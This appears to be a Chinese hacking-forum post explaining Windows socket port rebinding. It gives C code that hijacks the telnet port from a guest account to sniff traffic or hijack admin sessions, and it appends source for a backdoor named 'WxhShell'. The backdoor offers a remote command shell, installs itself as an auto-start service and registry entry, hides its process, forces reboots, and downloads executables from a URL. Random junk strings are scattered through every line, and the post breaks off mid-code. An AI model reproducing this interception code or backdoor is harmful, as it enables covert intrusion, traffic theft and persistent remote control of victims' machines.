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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tpz=} q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fcn_<Yh0W  
TQ2i{e  
  saddr.sin_family = AF_INET; gTyW#verh$  
(T;1q^j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?bCTLt7k  
]N_140N~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zPA>af~Ej  
uyvskz\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;9Hz{ej  
^zkd{ov  
  这意味着什么?意味着可以进行如下的攻击: 3?]S,~!F  
I@c0N*(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X[Y #+z4  
`ITDTZ J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 34]%d<;A  
_]Z$YM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1(D1}fcul  
q2D`1nT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;?#i]Bh>S  
 aeQ{_SK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {bxhH)a'  
UFJEs[?+Te  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _4g}kL02.  
hkL w&;WJr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6l=M;B7:i  
1gL8$.B?  
  #include vatx+)  
  #include )/i4YLO  
  #include X^9t  
  #include    8F.(]@NY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H?ieNXP7{  
  int main() ~ 6TfW~V  
  { xDNw /'  
  WORD wVersionRequested; 6pS Rum  
  DWORD ret; s@R3#"I  
  WSADATA wsaData; F 'fM?!(  
  BOOL val; mfUKHX5  
  SOCKADDR_IN saddr; %Ud.SJ 3  
  SOCKADDR_IN scaddr; jWz|K  
  int err; Ab/v_ mA;  
  SOCKET s; C}|O#"t^\  
  SOCKET sc; I(F1S,7  
  int caddsize; L'zdsa}Et  
  HANDLE mt; QZ_nQ3K  
  DWORD tid;   )bF)RL Z  
  wVersionRequested = MAKEWORD( 2, 2 ); ,[+ZjAyG}#  
  err = WSAStartup( wVersionRequested, &wsaData ); 9? v)  
  if ( err != 0 ) { ^D0/H N   
  printf("error!WSAStartup failed!\n"); /o~ @VF:  
  return -1; Di]Iy  
  } >f3k3XWRT  
  saddr.sin_family = AF_INET; ,2Sv1v$  
   g=)U_DPRi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {"Y]/6  
i,\t]EJAU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >!CH7wX  
  saddr.sin_port = htons(23); )yfOrsM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >0[qi1  
  { &L2`L)  
  printf("error!socket failed!\n"); +G>aj '\M|  
  return -1; v #zfs'  
  } p=je"{  
  val = TRUE; =rE `ib  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t(Cq(.u`:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bx_8@+  
  { \["1N-q b  
  printf("error!setsockopt failed!\n"); fte!Ll'  
  return -1; \L&qfMjW"Z  
  } jnx+wcd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;L MEU_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "dFdOb"O-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E9 :|8#b  
Xb8:*Y1'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p2M?pV  
  { ?3e!A9x  
  ret=GetLastError(); sP=2NqU3Q  
  printf("error!bind failed!\n"); BUboP?#%)  
  return -1; KG7X8AaK#  
  } Qt)7mf  
  listen(s,2); t~udfOvY  
  while(1) ~%::r_hQ  
  { :5n"N5Go  
  caddsize = sizeof(scaddr); +$Ddd`J'  
  //接受连接请求 4l#T_y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sv CK;$:  
  if(sc!=INVALID_SOCKET) w2RESpi  
  {  $Adp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M ?: f^  
  if(mt==NULL) vs)HbQ  
  { (>kBmK1Aj  
  printf("Thread Creat Failed!\n"); '3Y0D1`v  
  break; \^^hG5f  
  } ;nHo%`Zt  
  } _dB0rsCnU%  
  CloseHandle(mt); 3L\s8O  
  } U(=f5|-  
  closesocket(s); (&a3v  
  WSACleanup(); \5v=pDd4g  
  return 0; ({}O M=_  
  }   !F}J+N=}  
  DWORD WINAPI ClientThread(LPVOID lpParam) &' oacV=  
  { 5Rt0h$_J  
  SOCKET ss = (SOCKET)lpParam; 1f bFNxo8M  
  SOCKET sc; Bwi[qw  
  unsigned char buf[4096]; (urfaZ;@+  
  SOCKADDR_IN saddr; 3IRRFIiO  
  long num; cC(ubUR  
  DWORD val; B "s8i{Vm  
  DWORD ret; 9x 6ca  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xk7$?8r4&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1&>nL`E[3  
  saddr.sin_family = AF_INET; ~6Ee=NaLzP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _mq*j^u,j  
  saddr.sin_port = htons(23); jwtXI\@MS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rqd%#v  
  { a)yNXn8E_  
  printf("error!socket failed!\n"); a5Acqa  
  return -1; Dk. 9&9mz  
  } lpX p )r+  
  val = 100; ct|'I]nB.h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) au9Wo<mR  
  { D aqy+:  
  ret = GetLastError();  *<h  
  return -1; <8xP-(wk;  
  } M cMK|_H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _<' kzOj  
  { Aj)< 8  
  ret = GetLastError(); }Rf :DmPE  
  return -1; QY CNO#*  
  } P*qNRP%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BIB>U W  
  { [laL6  
  printf("error!socket connect failed!\n"); WRU@i;l  
  closesocket(sc); MjF.>4  
  closesocket(ss); t&?v9n"X  
  return -1; C">=2OO  
  } qjRiTIp9q  
  while(1) :4L5@>b-  
  { =Q8^@i4[&D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G5eLs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y=wP3q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vp0GmZ  
  num = recv(ss,buf,4096,0); S.)8&  
  if(num>0) -QNMB4  
  send(sc,buf,num,0); c75vAKZ2  
  else if(num==0) 3YNkT"~T  
  break; Up2\X#6  
  num = recv(sc,buf,4096,0); \gW\Sa ^  
  if(num>0) |LGNoP}SA  
  send(ss,buf,num,0); zR/p}Wu|!  
  else if(num==0) h ?qYy$  
  break; 9j>sRE1  
  } )9W# 5V$  
  closesocket(ss); 4uE5h~0Z  
  closesocket(sc); Q; /!oA_  
  return 0 ; g>oYEFFJ  
  } W3-Rs&se  
XU })3]/  
:DF4g=  
========================================================== YKS'#F2  
$Q7E#  
下边附上一个代码,,WXhSHELL E*b[.vUp  
aw@Aoq  
========================================================== 'krMVC-  
an5kR_=  
#include "stdafx.h" ,/?V+3l  
aFm]?75  
#include <stdio.h> })u}PQ  
#include <string.h> es(LE/`e  
#include <windows.h> ";Xbr;N  
#include <winsock2.h> 0FR%<u  
#include <winsvc.h> ).`a-Pv  
#include <urlmon.h> ,,j=RG_  
D/6@bcCSY  
#pragma comment (lib, "Ws2_32.lib") m_U6"\n 5  
#pragma comment (lib, "urlmon.lib") z=h5  
.aH?H]^  
#define MAX_USER   100 // 最大客户端连接数 }Knq9cf  
#define BUF_SOCK   200 // sock buffer *B~:L"N  
#define KEY_BUFF   255 // 输入 buffer v{*X@)$  
_G*x:<  
#define REBOOT     0   // 重启 ImY*cW=M  
#define SHUTDOWN   1   // 关机 TF3q?0  
w 4gZ:fR=  
#define DEF_PORT   5000 // 监听端口 5J#g JFA  
\6 0WP-s  
#define REG_LEN     16   // 注册表键长度 4J$f @6  
#define SVC_LEN     80   // NT服务名长度 >-o:> 5  
cz~FWk  
// 从dll定义API %v)'`|i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M&T/vByTn_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vo<#sa^,j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8BH)jna`Qo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Leick 6  
Wn#JY p  
// wxhshell配置信息 v})Ti190  
struct WSCFG { a7d-  
  int ws_port;         // 监听端口 P FFw$\j  
  char ws_passstr[REG_LEN]; // 口令 l6U'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8GZjIW*0oq  
  char ws_regname[REG_LEN]; // 注册表键名 bh"v{V`=0  
  char ws_svcname[REG_LEN]; // 服务名 .W.U:C1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 67:<X(u+!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Jp.3,\?~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U)1qsUDF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P87Fg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *TI6Z$b|6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CN>};>WlG  
hLD;U J?S  
}; n#'',4f  
R[-:-8  
// default Wxhshell configuration [bVP2j  
struct WSCFG wscfg={DEF_PORT, 0P/LW|16  
    "xuhuanlingzhe", nhhJUN?8  
    1, Kqu7DZ+W  
    "Wxhshell", s;f u  
    "Wxhshell", >-+X;0&  
            "WxhShell Service", |MrH@v7S  
    "Wrsky Windows CmdShell Service", !D5`8   
    "Please Input Your Password: ", Elk$9 < <  
  1, BD+~8v  
  "http://www.wrsky.com/wxhshell.exe", gUtbCqDS  
  "Wxhshell.exe" I}A#*iD  
    }; C:EoUu  
;mxT >|z  
// 消息定义模块 g%P4$|C9 i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5DUPsV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ({b/J0 <@D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1T?%i  
char *msg_ws_ext="\n\rExit."; LKY Q?  
char *msg_ws_end="\n\rQuit."; "G)?  E|  
char *msg_ws_boot="\n\rReboot..."; e(5R8ud  
char *msg_ws_poff="\n\rShutdown..."; FMr$cKvE]W  
char *msg_ws_down="\n\rSave to "; P.J}\;S T  
U}Fk%Jj  
char *msg_ws_err="\n\rErr!"; 9'aR-tFun;  
char *msg_ws_ok="\n\rOK!"; }}2hI`   
\$UU/\  
char ExeFile[MAX_PATH]; Z|wDM^Lf  
int nUser = 0; IT33E%G  
HANDLE handles[MAX_USER]; NU*6iLIq|F  
int OsIsNt; "t`e68{Ls  
u[qtuM?&  
SERVICE_STATUS       serviceStatus; ? D'-{/<4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V-u\TiL  
4f-C]N=  
// 函数声明 U]3JCZ{]0E  
int Install(void); Bv*h ?`Q  
int Uninstall(void);  \hc9Rk  
int DownloadFile(char *sURL, SOCKET wsh); NtL?cWct  
int Boot(int flag); ^i 7a2< z  
void HideProc(void); `Yve  
int GetOsVer(void); _{);n$`  
int Wxhshell(SOCKET wsl); P=z':4,M}  
void TalkWithClient(void *cs); j* ?MFvwE  
int CmdShell(SOCKET sock); [_Z3v,vt,  
int StartFromService(void); <[~M|OL9q,  
int StartWxhshell(LPSTR lpCmdLine); k/Q]K e  
>s~`K^zS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h {btT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PrxXL/6  
0CYI,V  
// 数据结构和表定义 $OuA<-  
SERVICE_TABLE_ENTRY DispatchTable[] = 3Mt6iZW  
{ 4B(qVf&M  
{wscfg.ws_svcname, NTServiceMain}, t|_g O!w8  
{NULL, NULL} q[g^[~WM#  
}; `Y9@?s Q  
D=]P9XDvb.  
// 自我安装 |.yRo_  
int Install(void) AU2Nmf?]%  
{ v4^VYi,.-  
  char svExeFile[MAX_PATH]; ~8E rl3=5{  
  HKEY key; VgL<uxq  
  strcpy(svExeFile,ExeFile); r]{:{Z  
;kA2"c]m  
// 如果是win9x系统,修改注册表设为自启动 Ok\UIi~  
if(!OsIsNt) { wEyh;ID3#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]F! ,Jx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }=5(*Vg  
  RegCloseKey(key); J{I?t~u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wDzS<mm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Hj]QN7"   
  RegCloseKey(key); )VrHP9fu  
  return 0; I115Rp0  
    } " 8v  
  } +bU(-yRy5o  
} YTsn;3d]}  
else { XZJx3!~fm  
5@\<:Zmi  
// 如果是NT以上系统,安装为系统服务 dfce/QOV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); elQ44)TrQ  
if (schSCManager!=0) ?:c hAN@  
{ {fs(+ 0ei  
  SC_HANDLE schService = CreateService eP8wTStC  
  ( &40d J~SQ  
  schSCManager, 57rP@,vj  
  wscfg.ws_svcname, bcg)K`'N  
  wscfg.ws_svcdisp, uv4jbg}Z+3  
  SERVICE_ALL_ACCESS, ~-x\E#(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $@X,J2&  
  SERVICE_AUTO_START, z841g `:C  
  SERVICE_ERROR_NORMAL, XCY4[2*a>  
  svExeFile, Zf! 7pM  
  NULL, H>?@nYP  
  NULL, 5sRNqTIr  
  NULL, L;;x%>  
  NULL, ~V4|DN[I  
  NULL [aW#7  
  ); -!" 8j"pA:  
  if (schService!=0) B Xp3u|t  
  { J2-xnUa]7  
  CloseServiceHandle(schService); 6 AY%o nY  
  CloseServiceHandle(schSCManager); L'(^[vR(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D!CGbP(  
  strcat(svExeFile,wscfg.ws_svcname); mj pH)6aD0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vj1AW<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qW9|&GuZ$  
  RegCloseKey(key); `1dr$U  
  return 0; [dUEe@P  
    } Mmn[ol  
  } ) PtaX|U  
  CloseServiceHandle(schSCManager); ]d0Dd")n  
} e3.TGv7=  
} .,4&/cd  
!&kOqc5:t<  
return 1; -M:.D3,L  
} -Q/Dbz#-  
; 1WclQ!(  
// 自我卸载 UA^E^$f:  
int Uninstall(void) 7G(X:!   
{ E^s>S,U[y  
  HKEY key; b /)UN*~  
Pj$a$C`Z  
if(!OsIsNt) { ^gy(~u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8EQ;+V  
  RegDeleteValue(key,wscfg.ws_regname); |2 Dlw]d  
  RegCloseKey(key); "D+QT+sD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +KZc"0?  
  RegDeleteValue(key,wscfg.ws_regname); iw%DQ }$  
  RegCloseKey(key); yTk9+>  
  return 0; }v?{npEOt+  
  } _oWenF  
} c?|/c9f  
} @<P [z[  
else { QH;aJ(>$  
jWQB~XQY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7RO=X%0A  
if (schSCManager!=0) 8164SWB  
{ '(Pbz   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p^2pv{by  
  if (schService!=0) ~0`Pe{^*  
  { 1BF+sT3  
  if(DeleteService(schService)!=0) { 0xsvxH"*  
  CloseServiceHandle(schService); dg-pwWqN  
  CloseServiceHandle(schSCManager); BJvVZl2h  
  return 0; UV=TU=A\o  
  } ls=<c<  
  CloseServiceHandle(schService); 1i{B47|  
  } &]5<^?3  
  CloseServiceHandle(schSCManager); :geXplTx  
} u%2u%-w  
} E:7vm@+  
g wk\[I`;  
return 1; *J6qL! ["  
} E-RbFTVBA  
U+W8)7bc  
// 从指定url下载文件 /c09-$M  
int DownloadFile(char *sURL, SOCKET wsh) lB,MVsn18  
{ ^b4o 0me  
  HRESULT hr; F"LT\7yjyG  
char seps[]= "/"; Wd[XQZ<  
char *token; CN zK-,  
char *file; #SL/Jr DZ  
char myURL[MAX_PATH]; Vi]D](^!  
char myFILE[MAX_PATH]; t.m $|M>  
ivt\| >  
strcpy(myURL,sURL); !-: a`Vs+  
  token=strtok(myURL,seps); f+d{^-  
  while(token!=NULL) >$}nKPC,Y  
  { Z:'2pu U+?  
    file=token;  d(k`Yk8  
  token=strtok(NULL,seps); i+2J\.~U#G  
  } m^`X|xK-  
b*,R9  
GetCurrentDirectory(MAX_PATH,myFILE); Ros5]5=dP  
strcat(myFILE, "\\"); :yv!  x  
strcat(myFILE, file); JjM^\LwKkL  
  send(wsh,myFILE,strlen(myFILE),0); ! $n^Ze2 !  
send(wsh,"...",3,0); h~dM*yo;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -WEiY  
  if(hr==S_OK) 1wwhTek  
return 0; lp4sO#>`  
else l_DPlY  
return 1; X!&=S!}  
;DGp7f#9  
} B3K%V|;z )  
]SK(cfA`  
// 系统电源模块 DK:d'zb  
int Boot(int flag) p/@z4TCNX  
{ {`-EX  
  HANDLE hToken; qlSMg;"Ghw  
  TOKEN_PRIVILEGES tkp; ^y&l!,(A   
ZgN*m\l  
  if(OsIsNt) { i`E]gJ$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X]`\NNx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kQ|}"Tw7  
    tkp.PrivilegeCount = 1; -O2Qz zE&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yp8 .\.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cLamqZf3  
if(flag==REBOOT) { MECR0S9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vG<Mz?wr  
  return 0; Dt8eVWkN~  
} Y8Mo.v  
else { <&:3|2p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \@5W&Be^  
  return 0; $U!w#|&  
} wjpkh~ qo  
  } 7GKeqv  
  else { IWTD>c).  
if(flag==REBOOT) { 0(teplo&P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V$@@!q  
  return 0; w W-GBY3  
} T Li0*)}  
else { iPxSVH[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s9@IOE GAt  
  return 0; )00#Rrt9  
} K{HdqmxL.I  
} bvZmo zbD  
`lr\V;o!  
return 1; Jg^tr>I~  
} SxMh '  
I#9A\.pO  
// win9x进程隐藏模块 UT"L5{c  
void HideProc(void) A9F Z`  
{ @"Do8p!*(6  
)TG\P,H9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {d=y9Jb^  
  if ( hKernel != NULL ) V5R``T p  
  { D4_D{\xhO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +BmA4/P$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); df}B:?Ew.  
    FreeLibrary(hKernel); fyT!/  
  } O=ci"2!\-  
|)1"*`z  
return; %$Mvq&ZZ  
} M,|o2'  
q18dSu  
// 获取操作系统版本 U.d*E/OR5  
int GetOsVer(void) fFMG9]*  
{ <[b\V+M  
  OSVERSIONINFO winfo; +HUI1@ql  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (,HA Os  
  GetVersionEx(&winfo); Xo }w$q5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ,8@@r7  
  return 1; <#sB ;  
  else RDk{;VED{  
  return 0; 2qw~hWX  
} e(j"u;=  
iQS?LksQX  
// 客户端句柄模块 h (jg7R  
int Wxhshell(SOCKET wsl) %/s:G)  
{ Onby=Y o6  
  SOCKET wsh; vBq 2JJAl  
  struct sockaddr_in client; P6;L\9=H<  
  DWORD myID; luAhyEp  
+n1}({7m  
  while(nUser<MAX_USER) *COr^7Kf5  
{ QR<IHE{~8  
  int nSize=sizeof(client); yP~D."  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o{m$b2BW  
  if(wsh==INVALID_SOCKET) return 1; 2i8'*L+j  
Eo)n( Z9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m &c8@-T  
if(handles[nUser]==0) Fpl<2eBg4  
  closesocket(wsh); ,c}Q;eYc3  
else `<q{8  
  nUser++; fytgS(?I'  
  } (~,Q-w"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D6c4tA^EO  
8V.x%T  
  return 0; 4e1Zyi!  
} F71.%p7C8"  
Bglh}_X  
// 关闭 socket RwN*/Li  
void CloseIt(SOCKET wsh) bQEQHqY5  
{ 866n{lyL  
closesocket(wsh); rn U2EL  
nUser--; Mv JEX8M  
ExitThread(0); X2T)]`@  
} 5>"-lB &  
#W'jNX,h  
// 客户端请求句柄 5H`k$[3V  
void TalkWithClient(void *cs) h5.u W8  
{ 8BC}D+q  
!Vv$  
  SOCKET wsh=(SOCKET)cs; ^=FtF9v  
  char pwd[SVC_LEN]; [P,1UO|$B  
  char cmd[KEY_BUFF]; =M ?  
char chr[1]; ~~b[X\1  
int i,j; 5k<qJ9  
4:5CnK  
  while (nUser < MAX_USER) { 315Rk!{AJ  
!2$O^ }6"  
if(wscfg.ws_passstr) { 67')nEQ9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r4D6g>)h1q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xsV(xk4  
  //ZeroMemory(pwd,KEY_BUFF); ES<"YF  
      i=0; r68'DJ&m3  
  while(i<SVC_LEN) { i{ eDV  
R/A40i  
  // 设置超时 J*A<F'^F1  
  fd_set FdRead; }vPDCUZ  
  struct timeval TimeOut; d*7 Tjs{\  
  FD_ZERO(&FdRead); C/tn0  
  FD_SET(wsh,&FdRead); -D`*$rp,  
  TimeOut.tv_sec=8; TBvv(_  
  TimeOut.tv_usec=0; 4Ts5*_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^+Ec}+ Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LKFL2|af  
~;3N'o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] +LleS5  
  pwd=chr[0]; aB#qzrr['8  
  if(chr[0]==0xd || chr[0]==0xa) { 8lT.2H  
  pwd=0;  5!NK  
  break; km4::'(6  
  } t/#[At5p=  
  i++; 9#@dQ/*  
    } QY/36gK  
4JT9EKo  
  // 如果是非法用户,关闭 socket K.dgQ-vn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zl=RK  
} pEw &i  
RiIJ#:6+^I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ck/4h Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ti=~ycwi  
\:'=ccf  
while(1) { U;LbP -{B  
m("! M~1  
  ZeroMemory(cmd,KEY_BUFF);  Jx[IHE  
=k2In_  
      // 自动支持客户端 telnet标准   bWW$_S pr  
  j=0; qWfG@hn  
  while(j<KEY_BUFF) { .UU BAyjm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0' @^PzX  
  cmd[j]=chr[0]; ~ubGx  
  if(chr[0]==0xa || chr[0]==0xd) { )R<hYd  
  cmd[j]=0; gV9 1=Pj  
  break; C;y3?+6P$  
  } O)kC[e4  
  j++; ~Q0gSazXFt  
    } n[[rI0]g  
d@8=%x:  
  // 下载文件 w<| ^i*  
  if(strstr(cmd,"http://")) { ?A3pXa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eZ(<hE>  
  if(DownloadFile(cmd,wsh)) x%jJvwb^|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `u 3to{  
  else $,bLK|<hi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6OkN(tL&.  
  } pkWzaf  
  else { I;S[Ft8d  
weEmUw Z  
    switch(cmd[0]) { rL w,?  
  Ont4-AP   
  // 帮助 9_n!.zA<  
  case '?': { i<YatW~Pu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |-bSoq7t  
    break; xVao3+r  
  } #Wey)DI  
  // 安装 3U!\5Nsby  
  case 'i': { Ig-9Y;hdmn  
    if(Install()) XI~2Vzht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ec y|l ;  
    else 82WXgB>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KDhr.P.~  
    break; Qv,8tdx  
    } #(mm6dj  
  // 卸载 s/ibj@h  
  case 'r': { ;\DXRKR  
    if(Uninstall()) + G#qS1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  (f,D$mX  
    else 0Y,_ DU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7?:7}xb-  
    break; iov55jT~l@  
    } 6kK\nZ$o$  
  // 显示 wxhshell 所在路径 Xm8 1axyf  
  case 'p': { q g?q|W  
    char svExeFile[MAX_PATH]; kL 6f^MoL  
    strcpy(svExeFile,"\n\r"); oe}nrkmb  
      strcat(svExeFile,ExeFile); {'4h.PB+r  
        send(wsh,svExeFile,strlen(svExeFile),0); J@54B  
    break; ,3Y~ #{,i  
    } :vz_f$=  
  // 重启 .Wv2aJq  
  case 'b': { T^x7w+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !j#Z48=&  
    if(Boot(REBOOT)) -9Wx;u4]o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lR\=] ]7I>  
    else { >:!TfuU^R  
    closesocket(wsh); Ad xCP\S&  
    ExitThread(0); ?vuM'UH-  
    } WHk/Rg%<  
    break; oM/(&"  
    } x48Y#"'  
  // 关机 L:"i,K#P  
  case 'd': { J?&lpsB3_l  
